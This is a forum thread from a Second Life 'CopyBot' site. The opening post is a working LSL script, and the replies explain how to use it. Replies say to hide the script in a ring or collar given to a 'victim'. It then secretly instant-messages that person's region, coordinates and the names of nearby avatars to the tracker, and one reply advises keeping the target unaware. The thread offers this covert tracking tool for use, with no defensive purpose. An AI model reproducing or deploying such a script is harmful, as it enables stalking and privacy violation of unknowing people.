Track any Avatar on Secondlife and know their location.

Thread Started By zion

32799
17
  • 94 Vote(s) - 2.87 Average
  • 1
  • 2
  • 3
  • 4
  • 5
Rate Thread
#1
PHP Code:
//Contact Greaser Waco for help.
//Known Issues: Sometimes entering into non-scrioted areas and then entering into a scripted area causes some delays and such. Also sometimes lag makes the "People Nearby" list show the people last near the user.

//Edit the two fields below with the orange text after them. Enter your text in between the quotes ("")
//Example: string region_default = "Fantasy Dream";
//Example: string admin_key = "00-000-0000-0000-0000-000";

//Drop it into any prim, and then click Tools > Set scripts to running in selection with the edit menu still open.


string xvector;
string x;
string y;
string z;
key id;
vector pos;
string cr;
key owner;
integer report TRUE;
string owner_name;
list 
list_users;
list 
key_name;
list 
xyz;
string users_x;
integer number;
string other_region;
string region_default ""//ENTER YOUR REGION OR THE REGION TO IGNORE
string admin_key ""//ENTER YOUR KEY IN BETWEEN THE QUTES
default
{
    
state_entry()
    {
        
cr llGetRegionName();
        
owner llGetOwner();
        
owner_name llKey2Name(owner);
        
llSensorRepeat("",NULL_KEY,AGENT,92,PI,1.0);
    }
    
sensor(integer num)
    {
        
cr llGetRegionName();
        if(
cr == region_default)
        {
            
report TRUE;
        }
        if(
report == TRUE)
        {
            if(
cr != region_default)
            {
                
other_region llGetRegionName();
                
pos llGetPos();
                
list_users = [];
                
number 0;
                
xyz llCSV2List((string)pos);
                
xvector llList2String(xyz,0);
                
llGetSubString(xvector,1,3);
                
llGetSubString(xvector,12,14);
                
llGetSubString(xvector,22,24);
                
integer x_fin llFloor((integer)x);
                
integer y_fin llFloor((integer)y);
                
integer z_fin llFloor((integer)z);
                
string url "http://slurl.com/secondlife/" other_region "/" + (string)x_fin "/" + (string)y_fin "/" + (string)z_fin "/";
                
llInstantMessage(admin_key,"User at another region: " owner_name "\nRegion URL: " url);
                do
                {
                    
llInstantMessage(admin_key,"User near " owner_name ": " llDetectedName(number));
                    
number++;
                }
                while(
number num);
                
report FALSE;
            }
        }
        else
        {
            if(
cr != other_region)
            {
                
other_region llGetRegionName();
                
pos llGetPos();
                
list_users = [];
                
number 0;
                
xyz llCSV2List((string)pos);
                
xvector llList2String(xyz,0);
                
llGetSubString(xvector,1,3);
                
llGetSubString(xvector,12,14);
                
llGetSubString(xvector,22,24);
                
integer x_fin llFloor((integer)x);
                
integer y_fin llFloor((integer)y);
                
integer z_fin llFloor((integer)z);
                
string url "http://slurl.com/secondlife/" other_region "/" + (string)x_fin "/" + (string)y_fin "/" + (string)z_fin "/";
                
llInstantMessage(admin_key,"Hud user at another region: " owner_name "\nRegion URL: " url);
                do
                {
                    
llInstantMessage(admin_key,"User near " owner_name ": " llDetectedName(number));
                    
number++;
                }
                while(
number num);
                
report FALSE;
            }
        }
    }

Reply


#2
How this scripts working? What need to do to track someone?
Reply


#3
I tested this script in SL between my alternate & main accounts.  Works good.

The string "region_default" seems to be the region you wish to monitor, while the string "admin_key" is the person you wish to read the info from the script.

If you want to read the text info from the script, enter your UUID key there (( string admin_key = "ENTER YOUR UUID KEY HERE"; )).
If you want someone else to read the info, enter their UUID key there (( string admin_key = "ENTER YOUR TRUSTED FRIEND'S UUID KEY HERE"; )).

I would suggest NOT entering your target's UUID key in there or they will be alerted of the activity.

-M
Reply


#4
Derp Fix  (reposted with proper line lengths):

I tested this script in SL between my alternate & main accounts.  Works good.

The string region_default seems to be the region you wish to monitor,
while the string admin_key is the person you wish to read the info from the script.

If you want to read the text info from the script, enter your UUID key there
(( string admin_key = "ENTER YOUR UUID KEY HERE"; )).

If you want someone else to read the info, enter their UUID key there
(( string admin_key = "ENTER YOUR TRUSTED FRIEND'S UUID KEY HERE"; )).

I would suggest NOT entering your target's UUID key in there or they will be alerted of the activity.

-M
Reply


#5
I would love to have this script. Where can I find it?
Reply


#6
OK, I tested the script. I don't quite get it. I keyed my target region and my UUID. But the displayed Information Is quite irrelevant. Why is it that it displays information of the region where I am at and not my target region. I thought this script tracks anyone and know their location? May I know what is the expected output of this script?
Reply


#7
Yeah I had the same problem with the script it wouldn't tell me anything about the target region just the region i was already in which was useless.
Reply


#8
The script must be placed in a ring, or a collar, and given to the victim. You will receive the victim position. In this field string admin_key ""you write your UUID. THe name of
the victim will automatically be recognized by the getOwner method, and sent to you via IM.
Reply


#9
I had to repost it, because the previous post got truncated.

The script must be placed in a ring, or a collar, and given to the victim. You will receive the victim position. 

In this field string admin_key "";  you write your UUID. 
The name of the victim will automatically be recognized by the getOwner method, and sent to you via IM.
Optionally if you live in a particular land, and you wont be bother to know that your victim is located in front
of you, than you set this -> 
string region_default ""as the region to ignore.
Reply


#10
:ThumbsUp:
Reply




Forum Jump:

1 Guest(s)
Share this:

About Second Life Copybot

Second Life CopyBot Forum is a place where you can get items for Second Life and other vitual worlds for free. With our CopyBot viewers you can export and import any content from these virtual worlds and modify them in 3D software such as Blender, 3D studio Macx etc...